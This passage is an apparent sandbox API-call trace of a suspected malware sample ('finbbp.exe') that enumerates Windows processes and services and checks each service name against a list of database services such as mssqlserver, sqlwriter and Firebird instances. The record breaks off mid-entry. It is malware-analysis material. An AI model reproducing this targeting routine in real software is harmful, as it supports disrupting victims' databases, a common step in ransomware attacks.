[0281.718] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0281.718] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0281.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0281.718] lstrlenW (lpString="SENS") returned 4 [0281.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0281.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0281.718] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0281.718] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0281.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0281.718] lstrlenW (lpString="ShellHWDetection") returned 16 [0281.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0281.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0281.718] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0281.718] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0281.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0281.719] lstrlenW (lpString="Spooler") returned 7 [0281.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0281.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0281.719] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0281.719] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0281.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0281.719] lstrlenW (lpString="SSDPSRV") returned 7 [0281.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0281.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0281.719] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0281.719] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0281.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0281.719] lstrlenW (lpString="StateRepository") returned 15 [0281.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0281.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0281.719] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0281.719] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0281.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0281.719] lstrlenW (lpString="SysMain") returned 7 [0281.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0281.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0281.719] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0281.719] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0281.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0281.719] lstrlenW (lpString="SystemEventsBroker") returned 18 [0281.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0281.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0281.855] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0281.855] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0281.855] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42d3ff0 | out: hHeap=0x670000) returned 1 [0281.855] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x394 [0281.862] Process32FirstW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0281.863] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0281.863] lstrlenW (lpString="System") returned 6 [0281.863] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0281.864] lstrlenW (lpString="smss.exe") returned 8 [0281.864] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0281.865] lstrlenW (lpString="csrss.exe") returned 9 [0281.865] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0281.865] lstrlenW (lpString="wininit.exe") returned 11 [0281.865] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0281.866] lstrlenW (lpString="csrss.exe") returned 9 [0281.866] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0281.866] lstrlenW (lpString="winlogon.exe") returned 12 [0281.866] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0281.867] lstrlenW (lpString="services.exe") returned 12 [0281.867] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0281.867] lstrlenW (lpString="lsass.exe") returned 9 [0281.867] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0281.868] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0281.868] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0281.869] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0281.869] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.869] lstrlenW (lpString="svchost.exe") returned 11 [0281.869] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.870] lstrlenW (lpString="svchost.exe") returned 11 [0281.870] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0281.870] lstrlenW (lpString="dwm.exe") returned 7 [0281.870] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.871] lstrlenW (lpString="svchost.exe") returned 11 [0281.871] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.871] lstrlenW (lpString="svchost.exe") returned 11 [0281.871] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.872] lstrlenW (lpString="svchost.exe") returned 11 [0281.872] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.872] lstrlenW (lpString="svchost.exe") returned 11 [0281.873] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.873] lstrlenW (lpString="svchost.exe") returned 11 [0281.873] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.874] lstrlenW (lpString="svchost.exe") returned 11 [0281.874] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.874] lstrlenW (lpString="svchost.exe") returned 11 [0281.874] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.875] lstrlenW (lpString="svchost.exe") returned 11 [0281.875] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.875] lstrlenW (lpString="svchost.exe") returned 11 [0281.875] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.876] lstrlenW (lpString="svchost.exe") returned 11 [0281.876] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0281.877] lstrlenW (lpString="spoolsv.exe") returned 11 [0281.877] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.877] lstrlenW (lpString="svchost.exe") returned 11 [0281.877] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0281.878] lstrlenW (lpString="audiodg.exe") returned 11 [0281.878] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0281.879] lstrlenW (lpString="sihost.exe") returned 10 [0281.879] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.879] lstrlenW (lpString="svchost.exe") returned 11 [0281.879] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0281.880] lstrlenW (lpString="taskhostw.exe") returned 13 [0281.880] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0281.880] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0281.880] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0281.881] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0281.881] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0281.881] lstrlenW (lpString="Memory Compression") returned 18 [0281.881] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0281.882] lstrlenW (lpString="explorer.exe") returned 12 [0281.882] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0281.883] lstrlenW (lpString="SearchUI.exe") returned 12 [0281.883] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0281.883] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0281.883] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0281.884] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0281.884] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0281.884] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0281.884] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0281.885] lstrlenW (lpString="finbbp.exe") returned 10 [0281.885] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.885] lstrlenW (lpString="svchost.exe") returned 11 [0281.886] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0281.886] lstrlenW (lpString="dllhost.exe") returned 11 [0281.886] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0281.887] lstrlenW (lpString="finbbp.exe") returned 10 [0281.887] Process32NextW (in: hSnapshot=0x394, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 0 [0281.887] CloseHandle (hObject=0x394) returned 1 [0281.887] Sleep (dwMilliseconds=0x1f4) [0282.428] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aadd0 [0282.428] EnumServicesStatusExW (in: hSCManager=0x41aadd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0282.429] GetLastError () returned 0xea [0282.429] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ca4) returned 0x6d2d38 [0282.429] EnumServicesStatusExW (in: hSCManager=0x41aadd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6d2d38, cbBufSize=0x1ca4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6d2d38, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0282.430] CloseServiceHandle (hSCObject=0x41aadd0) returned 1 [0282.431] lstrlenW (lpString="Appinfo") returned 7 [0282.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0282.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0282.431] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0282.431] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0282.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0282.431] lstrlenW (lpString="AppXSvc") returned 7 [0282.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0282.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0282.431] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0282.431] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0282.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0282.431] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0282.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0282.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0282.431] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0282.431] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0282.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0282.431] lstrlenW (lpString="Audiosrv") returned 8 [0282.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0282.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0282.431] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0282.431] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0282.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0282.431] lstrlenW (lpString="BFE") returned 3 [0282.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0282.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0282.432] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0282.432] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0282.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0282.432] lstrlenW (lpString="BITS") returned 4 [0282.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0282.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0282.432] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0282.432] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0282.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0282.432] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0282.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0282.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0282.432] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0282.432] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0282.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0282.432] lstrlenW (lpString="CDPSvc") returned 6 [0282.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0282.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0282.432] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0282.432] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0282.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0282.432] lstrlenW (lpString="ClickToRunSvc") returned 13 [0282.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0282.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0282.432] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0282.432] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0282.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0282.432] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0282.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0282.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0282.432] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0282.433] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0282.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0282.433] lstrlenW (lpString="CryptSvc") returned 8 [0282.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0282.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0282.433] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0282.433] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0282.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0282.433] lstrlenW (lpString="DcomLaunch") returned 10 [0282.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0282.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0282.433] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0282.433] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0282.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0282.433] lstrlenW 